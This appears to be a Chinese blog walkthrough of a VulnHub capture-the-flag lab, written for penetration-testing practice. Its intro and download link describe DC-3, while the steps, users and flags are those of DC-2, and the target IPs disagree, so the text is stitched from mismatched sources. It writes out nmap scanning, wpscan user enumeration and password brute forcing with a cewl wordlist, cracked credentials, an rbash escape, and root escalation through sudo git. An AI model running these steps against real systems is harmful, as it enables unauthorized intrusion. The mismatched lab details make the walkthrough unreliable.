一、环境搭建:
1、靶场描述
DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。
只有一个flag
2,下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-32,312/
二、渗透靶场
1,目标:
目标就是我们搭建的靶场,靶场IP为:192.168.66.0/24
2、信息收集:寻找靶机真实IP
nmap -sP+自己IP 192.168.131.130
3,信息收集:探端口及服务
nmap -A -p- -v 192.168.131.130
发现开放了80端口,存在web服务,Apache/2.4.10,
之后看到开放了7744端口,开放了ssh服务,OpenSSH 6.7p1
4,接着开始访问web
http://192.168.131.130
看到了,访问不到且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。
修改hosts文件,添加靶机IP到域名dc-2的指向
输入vim /etc/hosts
添加完成之后,再次访问就会访问成功。
5,可以很明显的发现这是一个wordpress的站点
可以看到flag,点击进去出现英文字母翻译出来大致意思就是“暴力破解,账号密码”
6,做一个目录扫描dirb http://dc-2/
疑似发现后台(http://dc-2/wp-admin/user/)打开链接
打开后进入登录页面
发现多个,但是没有什么用的东西
7, 用户名枚举
前面我们提到这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描
Wpscan一些常用语句:
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
wpscan --url http://dc-2(来扫描)
发现了wordpress的版本4.7.10
8,登录页面尝试登录
随即输入用户名密码,提示用户名不存在,似乎可以进行用户名枚举,首先来个用户枚举,再尝试利用枚举到的用户爆破密码
wpscan --url http://dc-2 --enumerate u
列举出三个用户名(admin,jerry,tom)
9,暴力破解出账号密码
根据flag1可以用暴力破解,我们使用cewl生成字典,
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用-w参数来将密码字典存储为text文件:
cewl http://dc-2/ -w dict.txt 或者 cewl http://dc-2/ > 1.txt
使用wpscan进行暴力破解
wpscan --url http://dc-2 --passwords dc2.txt
10,爆破出来两个账号
jerry/adipiscing
tom/parturient(登录后,在登录tom在tom的家目录发现flag3)
jerry/adipiscing,tom/parturient
登录ssh
ssh tom@192.168.66.141 -p 7744
在tom账号的家目录发现flag3
cat用不了
11,接下来,尝试rbash绕过详情参考:https://xz.aliyun.com/t/7642
查看可以使用的命令:echo $PATH
cd进不去目录,使用sl直接查看目录
使用echo来绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
在jerry的家目录发现flag4信息翻译过来
Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!
大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权
使用tom用户无权限运行sudo 我们切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
sudo -l
12,提权
查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null
jerry用户也不可以直接sudo su
13, 使用git命令进行提取sudo git help status,提取后whoami,出现root
cd /root后ls查看cat final-flag.txt
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/2401_84693966/article/details/142588219